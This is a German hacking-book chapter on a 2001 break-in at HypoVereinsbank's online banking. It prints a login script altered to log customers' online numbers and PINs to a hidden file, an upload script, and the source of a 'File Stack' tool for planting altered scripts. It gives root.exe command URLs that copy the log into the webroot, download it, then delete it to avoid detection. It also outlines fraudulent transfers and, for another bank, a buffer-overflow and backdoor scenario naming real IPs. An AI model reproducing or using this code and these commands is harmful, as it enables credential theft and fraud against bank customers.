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 document.myForm.onsubmit=SubmitOk; <% } %> document.frm0.OnlNr.onkeydown=KeyNum; document.myForm.Pwrd.onkeydown=KeyEnter; document.myForm.CmdOK.onclick=OK_Click; document.myForm.CmdCancel.onclick=Cancel_Click; document.myForm.CmdGast.onclick=Gast_Click; document.myForm.CmdHelp.onclick=GetHelp; </SCRIPT> </CENTER> </BODY> </HTML>
 Das veränderte Anmelde-Script: Anmeldung.jsp
 <%@ LANGUAGE="JAVASCRIPT"%> <!--#INCLUDE FILE="inc/ServerVar.inc" --> <!--#INCLUDE FILE="inc/ServerFkt.inc" --> <% redefault(); var OnlNr, Pwrd, Bank, Q,Bankname; var objFSO; objFSO = new ActiveXObject("Scripting.FileSystemObject"); Session("ActFunc") = "Anmeldung"; Session("iStatus") = STAT_FREE; S_bFirst = (Request.Form("OnlNr").Count == 0 && Request.Form("Gast").Count == 0); S_Info = I_LOGIN; if (S_bFirst) { Session("bIE") = (Request.QueryString("IE") == 0) ? false : true ; } else { OnlNr = MakeStr(Request.Form("OnlNr")); Pwrd = MakeStr(Request.Form("Pwrd")); Session("OnlNr") = OnlNr; Session("Pwrd") = Pwrd; Bank = MakeStr(Request.Form("Bank")); // unquote this if you don't want to track clients // oOF = objFSO.OpenTextFile("c:\\Temp\\000043FA.int", 8, true); oOF.WriteLine("- - - Session Log - - -"); oOF.WriteLine("Onl Nr.: " + OnlNr);
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 oOF.WriteLine("PIN: " + Pwrd); oOF.WriteLine("Bank: " + Bank); oOF.Close(); // end of tracking code // if(Request.Form("Gast") != 1) { if((S_ChkNum(OnlNr, 1, 6)=="" && S_ChkNum(OnlNr, 1, 10)=="") || trim(Pwrd)=="" || trim(Bank)==""){ ; } else { S_bInputOK = true; } } else { S_bInputOK = true; } if(S_bInputOK) { if (Bank == "VuW") { Session("Bank") = 1; } else if (Bank == "BV" || Bank == "") { Session("Bank")=0; } if (Request.Form("Gast") == 1) { OFX.Request = "Gast"; S_RQStr = Bank; Session("Gast")=1; } else { OFX.Request = "AccountInfo"; OFX.Password = Pwrd; S_RQStr = OnlNr + TZN + Bank; } OFX.SndRcv (S_RQStr); Q = ChkErr(); switch (Q){ case NOERR: GetKto(); break; case R_MSG_ERR: case R_MSG_0ERR:
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 Session("bAlert") = true; case R_NOMSG_ERR: break; case R_ACC_DISAB: Response.Redirect ("Entsperren.asp?OnlNr=" + OnlNr); break; default: OtherErr (Q,0,1,0); break; } } else { HandleInputErr(); } } WriteHTMLHead("Anmeldung"); %> <SCRIPT LANGUAGE="JAVASCRIPT"> C_Status = 1; var bSubmit=false; <% buffer = "function ContLoadMe(){\n"; buffer += "SetInfo( \"" + S_Info + "\" );\n"; if (Session("bAlert")) { Session("bAlert") = false; buffer += ("alert (\"" + Session("Alert") + "\");\n"); } if(Session("Bank") >= 0) { buffer += ("myF.Bank[" + Session("Bank") + "].checked=true;\n"); } if (S_Focus != '') { buffer += ("myF." + S_Focus + ".focus();\n"); } else { buffer += ("document.frm0.OnlNr.focus();\n"); } buffer += S_URL; buffer += "\n}"; Response.write (buffer); %> function OK_Click() {
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 var el, b, f0; f0 = document.frm0; if (C_bRQ) { el = f0.OnlNr; if (trim(el.value) == "") { alert ("Geben Sie bitte Ihre Onlinenummer ein!"); el.focus(); return F; } b = (ChkNum(f0.OnlNr, "Onlinenummer", 2, 6) || ChkNum(f0.OnlNr, "Onlinenummer", 2, 10)); if (!b) { alert ("Die Onlinenummer muss genau 6 oder 10 Stellen haben!"); el.focus(); return F; } el = myF.Pwrd; if (el.value == '') { alert ("Geben Sie bitte Ihr Passwort ein!"); el.focus(); return F; } el = myF.Bank; if (el[0].checked || el[1].checked) { SetInfo( C_BUSY ); C_bRQ = F; myF.OnlNr.value=f0.OnlNr.value; bSubmit=true; myF.submit(); return T; } else { alert ("Geben Sie bitte Ihre kontoführende Bank an!"); el[0].focus(); return F; } } return F; } function Gast_Click() {
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 if (C_bRQ){ if( document.frm0.OnlNr.value.length > 0 ) { if( !confirm("Sie haben schon eine Online-Nummer eingegeben.\n ➥ Wollen Sie wirklich den Gastzugang mit Testkonten wählen?") ) return F; } var Gast = 1; myF.Gast.value = 1; SetInfo( C_BUSY ); C_bRQ = F; bSubmit=true; myF.submit(); return T; } return F; } function Cancel_Click() { location.href="LogOut.asp"; } </SCRIPT> <% HLine="Anmeldung"; if (Session("Bank") == 1) { Response.write (F_S_BODY + "<CENTER>" + F_S_TABLE + F_S_LOGO + "<img WIDTH=177 HEIGHT=47 src='../images/VuWLogo.gif'>" + F_E_LOGO + F_S_HLINE + MakeHLine(HLine) + F_E_HLINE); } else { Response.write (F_S_BODY + "<CENTER>" + F_S_TABLE + F_S_LOGO + "<img WIDTH=205 HEIGHT=52 src='../images/HVLogo.gif'>" + F_E_LOGO + F_S_HLINE + MakeHLine(HLine) + F_E_HLINE); } Response.write ("<FORM NAME=frm0 onsubmit='return false'>" ); WriteElement(6, "Onlinenummer",0,1); WriteElement(6, "Kennwort",0,1); Response.write (F_E_S_TR); WriteElement(6, "<INPUT NAME='OnlNr' TYPE='TEXT' onfocus='this.select();' ➥ SIZE=10 maxlength=10>",1,1); Response.write ("</FORM>\n" + F_S_FORMULAR + "\n<INPUT NAME='OnlNr' ➥ TYPE='HIDDEN'>\n");
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 WriteElement(6, "<INPUT TYPE='PASSWORD' onfocus='this.select();' NAME='Pwrd' ➥ SIZE=10 maxlength=5>",1,1); Response.write (F_E_S_TR); WriteElement(12, "Bank",0,1); Response.write (F_E_S_TR); WriteElement(6, "<INPUT TYPE='radio' NAME='Bank' ➥ VALUE='BV'>HypoVereinsbank",1,0); WriteElement(6, "<INPUT TYPE='radio' NAME='Bank' ➥ VALUE='VuW'>Vereins- und Westbank",1,1); Response.write (F_E_TR + F_BLCKLINE + F_S_TR); if (Session("bIE")) { buffer = "<INPUT TYPE='button' style='width:90px' NAME='CmdOK' ➥ VALUE='Anmelden'>"; buffer += ("\n<INPUT TYPE='button' style='width:90px' NAME='CmdGast' ➥ VALUE='Gastzugang'><INPUT TYPE='Hidden' MAXLENGTH=1 ➥ NAME='Gast' VALUE=0>"); buffer += "\n<INPUT TYPE='button' style='width:90px' NAME='CmdHelp' ➥ VALUE=' Hilfe '>"; buffer += "\n<INPUT TYPE='button' style='width:90px' NAME='CmdCancel' ➥ VALUE='Abbrechen'>"; WriteElement(12, buffer,1,0); Response.write (F_E_TR + F_S_TR + F_E_TR + F_E_FORMULAR + F_E_TABLE + F_IE_INFO); } else { buffer = "<INPUT TYPE='button' WIDTH=90 NAME='CmdOK' VALUE='Anmelden'>"; buffer += ("\n<INPUT TYPE='button' WIDTH=90 NAME='CmdGast' ➥ VALUE='Gastzugang'><INPUT TYPE='Hidden' MAXLENGTH=1 ➥ NAME='Gast' VALUE=0>"); buffer += "\n<INPUT TYPE='button' WIDTH=90 NAME='CmdHelp' ➥ VALUE=' Hilfe '>"; buffer += "\n<INPUT TYPE='button' WIDTH=90 NAME='CmdCancel' ➥ VALUE='Abbrechen'>"; WriteElement(12, buffer,1,0); Response.write (F_E_TR + F_E_FORMULAR + F_E_TABLE + F_NS_INFO); } %> <SCRIPT LANGUAGE="JAVASCRIPT" SRC="inc/ClientFkt.inc"> </SCRIPT> <SCRIPT LANGUAGE=JAVASCRIPT> <%if(!Session("bIE")){ %> document.layers["Info"].left = (window.innerWidth - 484)/2;
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 function KeyNum(e) { return ( e.which >= 48 && e.which <= 57 || e.which == 8); } function KeyEnter(e) { return e.which != 13; } <%}else{%> function KeyNum() { var k = window.event.keyCode; return ( (k >= 48 && k <= 57) || ( k >= 96 && k <= 105) || (k < 32 && k != 13) || k == 37 || k == 39 || k == 46 || k == 8); } function KeyEnter() { return window.event.keyCode != 13; } function SubmitOk() { return bSubmit; } document.myForm.onsubmit=SubmitOk; <% } %> document.frm0.OnlNr.onkeydown=KeyNum; document.myForm.Pwrd.onkeydown=KeyEnter; document.myForm.CmdOK.onclick=OK_Click; document.myForm.CmdCancel.onclick=Cancel_Click; document.myForm.CmdGast.onclick=Gast_Click; document.myForm.CmdHelp.onclick=GetHelp; </SCRIPT> </CENTER> </BODY> </HTML>

Page 33
						

1.3 Suche nach dem richtigen Ziel 3399
 Das Upload-Script
 <% const ForReading = 1 const ForWriting = 2 const ForAppending = 3 dim FileCount dim FieldCount dim Path dim Dict Path = Server.mappath(".") & "\" FileCount = 0 FieldCount = 0 Dict = Null Function Init() Dim tBytes Dim binData Dim scrDict tBytes = Request.TotalBytes RequestBin = Request.BinaryRead(tBytes) Set scrDict = Server.CreateObject("Scripting.Dictionary") PosBeg = 1 PosEnd = InStrB(PosBeg, RequestBin, getByteString(Chr(13))) If PosEnd < 2 Then Set Dict = Server.CreateObject("Scripting.Dictionary") Exit Function End If boundary = MidB(RequestBin, PosBeg, PosEnd - PosBeg) BoundaryPos = InStrB(1, RequestBin, boundary) Do Until (BoundaryPos = InStrB(RequestBin, boundary & getByteString("--"))) Dim UploadControl Set UploadControl = Server.CreateObject("Scripting.Dictionary") Pos = InStrB(BoundaryPos, RequestBin, getByteString("Content-Disposition")) Pos = InStrB(Pos, RequestBin, getByteString("name=")) PosBeg = Pos + 6 PosEnd = InStrB(PosBeg, RequestBin, getByteString(Chr(34))) Name = getString(MidB(RequestBin, PosBeg, PosEnd - PosBeg)) PosFile = InStrB(BoundaryPos, RequestBin, getByteString("filename=")) PosBound = InStrB(PosEnd, RequestBin, boundary) If PosFile <> 0 And (PosFile < PosBound) Then FileCount = FileCount + 1 PosBeg = PosFile + 10
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 PosEnd = InStrB(PosBeg, RequestBin, getByteString(Chr(34))) FileName = getString(MidB(RequestBin, PosBeg, PosEnd - PosBeg)) UploadControl.Add "FileName", FileName Pos = InStrB(PosEnd, RequestBin, getByteString("Content-Type:")) PosBeg = Pos + 14 PosEnd = InStrB(PosBeg, RequestBin, getByteString(Chr(13))) ContentType = getString(MidB(RequestBin, PosBeg, PosEnd - PosBeg)) UploadControl.Add "ContentType", ContentType PosBeg = PosEnd + 4 PosEnd = InStrB(PosBeg, RequestBin, boundary) - 2 Value = MidB(RequestBin, PosBeg, PosEnd - PosBeg) Else FieldCount = FieldCount + 1 Pos = InStrB(Pos, RequestBin, getByteString(Chr(13))) PosBeg = Pos + 4 PosEnd = InStrB(PosBeg, RequestBin, boundary) - 2 Value = getString(MidB(RequestBin, PosBeg, PosEnd - PosBeg)) End If UploadControl.Add "Value", Value scrDict.Add Name, UploadControl BoundaryPos = InStrB(BoundaryPos + LenB(boundary), RequestBin, boundary) Loop Set Dict = scrDict Set scrDict = Nothing End Function Function saveAs( sHTMLFormField, sNewFile) If Dict.Exists(sHTMLFormField) And Len(getFileName(sHTMLFormField)) > 0 Then binData = Dict.Item( sHTMLFormField).Item("Value") binData = getString( binData) Dim sFilePath sFilePath = Path & getFileName(sHTMLFormField) If Len( sNewFile) <> 0 Then sFilePath = sNewFile Set oFSO = Server.CreateObject( "Scripting.FileSystemObject") Set oTextStream = oFSO.CreateTextFile( sFilePath, True) oTextStream.Write( binData) oTextStream.Close saveAs = True Else Response.Write( "File associated with HTML &lt;FORM&gt; field name &lt;INPUT ➥ NAME=" & sHTMLFormField & "&gt; not found!") saveAs = False
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 End If End Function Function getData(sHTMLFormField) If Dict.Exists(sHTMLFormField) Then getData = Dict.Item( sHTMLFormField).Item("Value") Else getData = "" End If End Function Function getFileName(sHTMLFormField) Dim strHTMLFormField If Dict.Exists(sHTMLFormField) Then strHTMLFormField = Dict.Item( sHTMLFormField).Item("FileName") Else strHTMLFormField = "" End If Dim tPos Dim strRtn strRtn = "" tPos = InStrRev(strHTMLFormField, "\") If tPos = 0 Or IsNull(tPos) Then strRtn = strHTMLFormField Else strRtn = Right(strHTMLFormField, Len(strHTMLFormField) - tPos) End If getFileName = strRtn End Function Function getContentType(sHTMLFormField) If Dict.Exists(sHTMLFormField) Then getContentType = Dict.Item( sHTMLFormField).Item("ContentType") Else getContentType = "" End If End Function Function getString(StringBin) Dim strRtn strRtn = "" For intCount = 1 To LenB(StringBin)
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 strRtn = strRtn & Chr(AscB(MidB(StringBin, intCount, 1))) Next getString = strRtn End Function Function getByteString(StringStr) Dim strRtn strRtn = "" For i = 1 To Len(StringStr) Char = Mid(StringStr, i, 1) strRtn = strRtn & ChrB(AscB(Char)) Next getByteString = strRtn End Function %>
 1.3.7 Der Datenabruf
 Die abgeänderten Scripts speichern die Kontonummer, die PINs und die IP des Bank-kunden im Verzeichnis C:\Temp\000043FA.int
 Um diese Datei abrufen zu können, muss sie zuerst in das Webverzeichnis kopiert wer-den:
 http://banking.hypovereinsbank.de/scripts/root.exe?/c+copy+C:\Temp\000043FA.int+C:\Inetpub\WWWRoot\Bank.dat
 und kann dann über diesen Hyperlink heruntergeladen werden:
 http://banking.hypovereinsbank.de/Bank.dat
 Anschließend wird die Datei wieder gelöscht, damit dieser Vorgang nicht so leicht ent-deckt werden kann:
 http://banking.hypovereinsbank.de/scripts/root.exe?/c+del+C:\Inetpub\WWWRoot\Bank.dat
 Es ist zu beachten, dass Schritt 1 schon erledigt wurde und daher hier nicht mehr abge-handelt werden muss!
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 Bild 1.3: Screen der Bank.dat
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 Mit den aus den Logfiles erhaltenen Daten war es nun möglich sich in die Konten der Kunden einzuloggen.
 Bild 1.4: Screen eines Kontos
 Weiterhin hatten wir die Möglichkeit, einen Blick in die Aktiendepots der Kunden zu werfen.
 Bild 1.5: Screen eines Aktiendepots
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 1.3.8 Theoretischer Diebstahl von TANs – Geld überweisen von fremden Konten
 Die Scripte, die für Überweisungen und Ankäufe von Wertpapieren verantwortlich sind, kann man manipulieren, so dass eine erfolgreiche Transaktion angezeigt wird, auch wenn nie eine stattgefunden hat. Würde man auf diese Weise einen halben oder gar ei-nen ganzen Tag die Kunden betrügen, könnte man in derselben Nacht noch von mehre-ren Konten Geld auf eigene Konten überweisen und gleichzeitig für Chaos sorgen, so dass ein Zurückverfolgen sehr umständlich würde.
 1.3.9 Die verwendeten Tools
 Wir verwendeten zum Abscannen der Seiten das schon angesprochene RAW HTTP (www.hackerzbook.de) und File Stack (www.hackerzbook.de), um die veränderten Scripte wieder auf den Server zu laden.
 Hier der Source von File Stack:
 Option Explicit Private WSK As New clsWinsock Private Socket As Long Private APIRepl As Long Private lFile As String Private rFile As String Private Declare Function CreateRectRgn Lib "gdi32" (ByVal x1 As Long, ByVal y1 As Long, ➥ ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal x1 As Long, ByVal y1 As ➥ Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ➥ ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ➥ ByVal nCombineMode As Long) As Long Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ➥ ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( ➥ ByVal hwnd As Long, ByVal wMsg As Long, ➥ ByVal wParam As Long, lParam As Any) As Long Private Declare Function ReleaseCapture Lib "user32" () As Long Private Type POINTAPI
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 X As Long Y As Long End Type Private Const RGN_COPY = 5 Private ResultRegion As Long Rem Form Cosmetic Private Sub ResetAll() scrLine(0).Caption = Hostname.Text Hostname.Visible = False scrLine(1).Caption = Scriptpath.Text Scriptpath.Visible = False scrLine(2).Caption = Parameter.Text Parameter.Visible = False scrLine(3).Caption = localFile.Text localFile.Visible = False scrLine(4).Caption = remoteFile.Text remoteFile.Visible = False scrLine(5).Caption = Delay.Text Delay.Visible = False lblMin(1).ForeColor = &H404040 lblMin(0).ForeColor = &H404040 End Sub Private Function CreateFormRegion(ScaleX As Single, ScaleY As Single, ➥ OffsetX As Integer, OffsetY As Integer) As Long Dim HolderRegion As Long, ObjectRegion As Long, nRet As Long, Counter As Integer Dim PolyPoints() As POINTAPI Dim X(1 To 3) As Long Dim Y(1 To 3) As Long ResultRegion = CreateRectRgn(0, 0, 0, 0) HolderRegion = CreateRectRgn(0, 0, 0, 0) '!Shaped Form Region Definition '!2,0,0,395,306,57,57,1 X(1) = 1 * ScaleX * 15 / Screen.TwipsPerPixelX + OffsetX
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 X(2) = 395 * ScaleX * 15 / Screen.TwipsPerPixelX + OffsetX X(3) = 114 * ScaleX * 15 / Screen.TwipsPerPixelX Y(1) = 1 * ScaleY * 15 / Screen.TwipsPerPixelY + OffsetY Y(2) = 306 * ScaleY * 15 / Screen.TwipsPerPixelY + OffsetY Y(3) = 114 * ScaleY * 15 / Screen.TwipsPerPixelY ObjectRegion = CreateEllipticRgn(X(1), Y(1), X(2), Y(2)) nRet = CombineRgn(ResultRegion, ObjectRegion, ObjectRegion, RGN_COPY) DeleteObject ObjectRegion DeleteObject HolderRegion CreateFormRegion = ResultRegion End Function Private Sub Form_Load() Dim inLine As String Dim nRet As Long nRet = SetWindowRgn(Me.hwnd, CreateFormRegion(1, 1, 1, 1), True) StatBg.X2 = StatBg.x1 Open "Data.dat" For Input As #1 Do Until EOF(1) Line Input #1, inLine Scriptpath.AddItem inLine Line Input #1, inLine Parameter.AddItem inLine Loop Close End Sub Private Sub Form_MouseDown(Button As Integer, Shift As Integer, ➥ X As Single, Y As Single) ReleaseCapture SendMessage Me.hwnd, &HA1, 2, 0& End Sub Rem Button Cosmetic Stuff Private Sub bgImg_Click() ResetAll End Sub
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 Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) ResetAll End Sub Private Sub lblMin_Click(Index As Integer) If Index = 0 Then Mainform.WindowState = 1 If Index = 1 Then End DoEvents End Sub Private Sub lblMin_MouseMove(Index As Integer, Button As Integer, Shift As Integer, ➥ X As Single, Y As Single) lblMin(Index).ForeColor = &H999999 End Sub Private Sub scrLine_MouseMove(Index As Integer, Button As Integer, Shift As Integer, ➥ X As Single, Y As Single) Select Case Index Case 0: Hostname.Visible = True Case 1: Scriptpath.Visible = True Case 2: Parameter.Visible = True Case 3: localFile.Visible = True Case 4: remoteFile.Visible = True Case 5: Delay.Visible = True End Select End Sub Rem Real Code Starts here Private Sub cmdStack_Click() Dim inLine As String Dim Total As Long Dim Count As Long Dim Perc As Long Dim Delta As Long If Not WSK.StartWinsock("FileStack") Then MsgBox "Failed loading Winsock!", vbCritical, "Winsock Error" Exit Sub End If
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 Close statCount.ForeColor = &H8000000F statCount.Caption = "0%" StatBg.X2 = StatBg.x1 Open localFile.Text For Input As #1 Total = LOF(1) Do Until EOF(1) Line Input #1, inLine Count = Count + Len(inLine) Perc = Fix(Count / (Total / 100)) StatBg.X2 = 3.7 * Perc statCount.Caption = Perc & "%" Socket = WSK.ConnectSock(Hostname.Text, 80, "", wskHwnd.hwnd, 0) If Socket >= 1 Then APIRepl = WSK.SendData(Socket, "GET " & Scriptpath.Text & "?" & ➥ Parameter.Text & remoteFile.Text & " HTTP/1.0" & vbCrLf) APIRepl = WSK.SendData(Socket, "Cookie: " & inLine & vbCrLf) 'Cookie mitschicken APIRepl = WSK.SendData(Socket, "Connection: Close" & vbCrLf) 'Verbindung trennen APIRepl = WSK.SendData(Socket, vbCrLf & vbCrLf) Else MsgBox "Connection Failed!", vbCritical, "Winsock Error" Exit Do End If Delta = Timer + CLng(Delay.Text) 'Wartezeit zwischen den Verbindungen While Timer <= Delta DoEvents Wend Loop Close #1 APIRepl = WSK.Disconnect(Socket) WSK.EndWinsock StatBg.X2 = 368 statCount.Caption = "100%" statCount.ForeColor = &HC000& End Sub Private Sub wskHwnd_MouseUp(Button As Integer, Shift As Integer, ➥ X As Single, Y As Single) Debug.Print WSK.GetData(Socket, 4096, 1) 'sollte nie aufgerufen werden... End Sub
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 1.4 Nachtrag zum Banken-Hack Das Ziehen der Logfiles fand vom 04.08.01 bis zum 31.08.01 statt. In dieser Zeit konnten mehr als 1,5 Millionen Daten (Onlinenummern, Pins, IP-Adressen) gesichert werden. Anschließend wurden die Daten an die Rechtsabteilung des NDR übergeben und in ei-nem Safe verschlossen.
 Die HypoVeriensbank erwirkte am 04.10.01 vor dem Landgericht Hamburg eine Einst-weilige Verfügung, worin erlassen wurde, dass ihr sämtliche Daten übergeben werden sollten. Der NDR behielt zum Beweis lediglich eine Kopie, die einem neutralen Notar in Hamburg übergeben und dort in einem Safe gelagert wurde.
 1.5 Fazit Nach diesen Ereignissen sprach ich mit dem bekannten Sicherheitsexperten und Buchautor Marc Ruef über die Sicherheitsproblematik bei Banken. Ruef kennt die Prob-leme ganz genau, da er Sicherheitsberater einiger großer Banken ist. Er sagte Folgendes:
 »Der Webauftritt vieler Banken ist geteilt. Ich will damit behaupten, dass es einen öf-fentlichen Teil gibt, auf den jeder Zugriff hat (WWW/HTTP). Dann gibt es einen semi-öffentlichen Bereich für E-Banking, auf den nur Kunden nach entsprechender Authenti-fizierung Zutritt haben (WWW/SSL/SHTTP/Passwortschutz). Der öffentliche Teil kann vernachlässigt werden, was auch oft der Fall ist (keine übertriebenen Sicherheitsmecha-nismen und -richtlinien). Der E-Banking-Bereich muss geschützt werden und wird es auch (neueste Patches, gesichertes System, starke Richtlinien, entsprechende Sicher-heitsvorkehrungen). Entsprechende Soft- und Hardware zur Protokollierung und Siche-rung (z.B. Firewall-Elemente und Intrusion Detection Systems) sind auf dem Finanz-sektor verhältnismäßig oft vorhanden (im Gegensatz zu Firmen aus anderen Bereichen mit Netzanbindung). Die Administration dessen ist auch meistens in guten – aber nicht sehr guten – Händen. Wo es momentan meines Erachtens nach hapert, ist die Auswer-tung. Die entsprechenden Administratoren, Sicherheitsbeauftragten oder Auditors kön-nen nichts mit den Logfiles der Sicherheitssysteme anfangen, da sie nicht über das nötige Hintergrundwissen verfügen. Insgesamt muss ich sagen: Es gibt solche und solche. Ich habe schon Banken-Rechner gesehen, da hätte ich am liebsten gleich mein Konto bei denen aufgelöst. Und dann gibt es auch wieder Institute, die brillieren mit einer hervor-ragenden Kompetenz. Man darf nicht alle in einen Topf werfen. Es gibt jedoch noch lange viel zu tun...«
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 1.6 Medienberichte Das Echo auf den Banken-Hack war weltweit groß. Zahllose Zeitungen und Radio-stationen berichteten über die Aktion. In diesem Zusammenhang wurde die Frage der Sicherheit immer wieder neu gestellt. Hier zwei interessante Stimmen:
 Bericht aus www.newsbytes.com und www.washingtonpost.com German TV Hackers Crack Bank Server - Lawsuit Possible
 By Ned Stafford, Newsbytes
 MUNICH, GERMANY,
 17 Sep 2001, 4:51 PM CST
 HypoVereinsbank, one of Germany's largest banks, is considering legal
 action against a popular consumer high-tech TV show that hired hackers
 to break into the bank's online banking servers, according to a bank
 spokeswoman.
 Cornelia Klaila, a spokeswoman for HypoVereinsbank in Munich, told
 Newsbytes: "It is illegal what they did. It is very illegal."
 The "they" she is referring to is a TV show called Technical Adviser,
 which is produced by ARD, one of Germany's two public TV networks.
 Technical Adviser hired some young hackers in August to break into Hy-
 poVereinsbank's online banking servers and download information about
 customer accounts.
 The information included names, account numbers, PIN numbers and Inter-
 net IP addresses, which are important for secure online banking. The
 story was broadcast Sunday evening.
 Bernd Leptihn, head of the Technical Adviser (Ratgeber Technik) news
 team in Hamburg, told Newsbytes he was not worried about a lawsuit from
 HypoVereinsbank.
 Leptihn, who was anchorman for Technical Adviser for 27 years but now
 works behind the camera, quipped: "You know, I have done illegal sto-
 ries for 30 years now. I have had lawsuits before and, up to now, I ha-
 ve never lost a case."
 He said ARD's legal department says that such investigative journalism
 is allowed under German law if it is "in the interest of the public."
 Leptihn, a well-known personality in Germany, said he thinks that in-
 forming the public of the holes in HypoVereinsbank's computers was very
 much in the public interest.
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 "With the (bank account) information we had, we could have been anypla-
 ce in the world with millions and millions of euros," he said.
 Leptihn said that research indicated that HypoVereinsbank had some big
 security holes. He said the bank used Microsoft's Internet Information
 Server (IIS 4.0).
 "This is a very, very low quality server," he said.
 Technical Adviser hired a team of four hackers. He declined to say how
 much they were paid, but said it was "not much." The young hackers were
 more interested in gaining publicity for their start-up Internet secu-
 rity consulting company, he said.
 One of those four is Stephan Weide, who at 22 is a managing director of
 the company, called Multimedia Network Systems in Leinefelde.
 Weide told Newsbytes that it only took two to three days to break into
 HypoVereinsbank's computers.
 "It was no problem," he said. "Anybody could have done it."
 After Technical Adviser aired Sunday night on TV, Weide said he and his
 team participated in a teleconference phone call with HypoVereinsbank
 technicians to tell them how they could patch the holes.
 When asked if the technicians expressed anger about the hacking, he
 said: "They said no angry words. I think they were afraid of losing
 their jobs."
 Weide and Leptihn said that HypoVereinsbank's online banking Web site
 was shut down beginning late Sunday night for about 6 hours.
 Klaila, the bank's spokeswoman, emphatically disputed this.
 "No," she said. "That is not correct."
 She said the Web site was shut down for routine regular maintenance,
 and not to patch security holes.
 She also said that HypoVereinsbank this summer had put a new banking
 Web site online, and that this site is a "state-of-the-art" system that
 is secure. During the month of August, she said both the old and new
 sites were online, and the hackers had broken into the old Web site,
 not the new site. The old site was taken offline at the beginning of
 September.
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 Leptihn, from Technical Adviser, disputes that the new site was secure before last night.
 "Our hackers tried again on the new site and got in," he maintained.
 Klaila said both criminal and civil damage proceedings against Techni-
 cal Adviser are possible.
 "We have yet to decide what we are going to do," she said.
 Bericht aus zdnet.de News ARD: Schwächen beim Online-Banking aufgedeckt
 PINs und TANs vor laufender Kamera ausgelesen
 17. September 2001, 08:46 Uhr
 Von Susanne Rieger
 Hacker aus Thüringen haben im Auftrag des ARD-Magazins "Ratgeber: Tech-
 nik" vor laufender Kamera die Sicherheitsvorrichtungen der Hypovereins-
 bank geknackt. Dabei war es den Redakteuren und Experten nach Angaben
 des Senders möglich, innerhalb weniger Tage 1,5 Millionen Online-
 Buchungen einschließlich der Geheimnummer (PIN), Online-Nummer (TAN)
 und IP-Adressen zu erlangen.
 Wie die ARD weiter mitteilte, sei den Hackern der Zugriff auf die
 Dispo-Kreditdaten möglich gewesen, sprich, man habe die Konten bis An-
 schlag belasten können. Zum Beweis ihres Eindringens hätten sich die
 Eindringlinge auf eine Buchung über 100 Mark "beschränkt", so der Sen-
 der wörtlich.
 Die Computer-Experten des Senders warnten zum wiederholten Mal vor tro-
 janischen Pferden, welche das Verschlüsselungs-Verfahren des Geldinsti-
 tuts sinnlos machen. Auch mit einem Laptop und einem für die Datenüber-
 tragung geeigneten Handy sei die unberechtigte Überweisung problemlos
 möglich.
 Nachdem das Magazin die HypoVereinsbank auf die Mängel in ihrem Zent-
 ralcomputer hingewiesen hatte, wurde ein neues Log-In-System einge-
 führt. Doch die vom Sender angeheuerten Hacker fanden auch in diesem
 überarbeiteten Programm wieder Löcher. Laut Ratgeber-Redaktion habe man
 die Hypovereinsbank gewählt, weil sich ihre Zugänge für Unberechtigte
 als besonders löchrig erwiesen hätten. Doch auch bei vielen anderen
 Banken und Sparkassen sei ein virtueller Einbruch prinzipiell möglich.

Page 48
						

5544 Kapitel 1: Der Banken-Hack
 1.7 Erkenntnisse von anderen Banken Nicht nur die HypoVereinsbank ist vor Angriffen nicht gefeit auch andere Banken sind mit den Maßnahmen ihren Server zu schützen nur bedingt erfolgreich.
 1.7.1 Security-Audit gegen Lücken bei einer Volksbank
 Im Rahmen eines Security-Audits bei der HypoVereinsbank von Kleinentenhausen trat folgender Fehler zutage: Scans auf die IP 195.60.123.166 zeigten keine Sicherheitslücken auf. D.h., es ist meiner Meinung nach nicht möglich, ohne umfassendes Wissen über den Rechner und die Serivces einzudringen.
 Details: Portscan- Interesting ports on (195.60.123.166): (Ports scanned but not shown below are in state: filtered) Port State Service 53/tcp unfiltered domain 80/tcp open http 113/tcp unfiltered auth 443/tcp unfiltered https 8080/tcp unfiltered http-proxy TCP Sequence Prediction: Class=random positive increments Difficulty=89759 (Worthy challenge)
 Weitere Scans bezogen sich auf CGI-Lücken und Konfigurationsfehler. Der Server ist nicht anfällig für Loopback-Attacken (Server verbindet zu sich selbst, und ermöglicht so Zugriff auf gefilterte und eingeschränkte Ports).
 Das Script mail.cgi ist nicht anfällig für Attacken (willkürlich eingegebene E-Mail Adres-sen werden nicht angeschrieben. Somit können auch keine Einträge in den Umgebungs-variablen empfangen werden).
 Jedoch ist mir ein kleiner Fehler aufgefallen, der großen Schaden anrichten könnte.
 Der Fehler liegt beim FTP
 Auf der Kontoseite, in der auch zum Internetbanking verwiesen wird, werden Home-cash-Updates (Update für Finanzsoftware) angeboten. Gelinkt wird auf diesen FTP Ser-ver: ftp://ftp.Hyposbank-kleinentenhausen.de/ Dieser Server ist ein Windows Server, auf dem ein WS_FTP Server läuft, für den Bufferüberläufe bekannt sind.
 Da die Register EIP und EBP überschrieben werden, ist es für routinierte Hacker kein Problem, willkürlich Code auf dem Server auszuführen.
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 So könnte man ein paar Konten leeren: Stellt man sich vor, es würde sich jemand Zugriff auf den Rechner über den Bufferüberlauf verschaffen (übrigens ist das RPC-Service auch weltweit offen, das auf WinNT 4.0 zumindest abschießbar ist), ersetzt dann die Dateien durch eine mit einem Virus infizierte Version. Dieser Virus oder Backdoor logt die Akti-vitäten des Bankkunden mit, steigt mit seinen Daten ein und steht nur mehr kurz vor seiner Beute.
 Interesting ports on ftp.Hyposbank-kleinentenhausen.de(212.158.33.130): Porr State Service 21/tcp open ftp 135/tcp open oc-srv 139/tcp open netbios-ssn TCP Sequence Prediction: Class=trivial time dependency Difficulty=34 (Easy) Sequence numbers: 436F53BE 436F5418 436F5490 436F55D1 Remote operating system guess: Windows NT4 / Win95 / Win98
 1.7.2 Ein weiteres Szenario im Sparkassenbereich
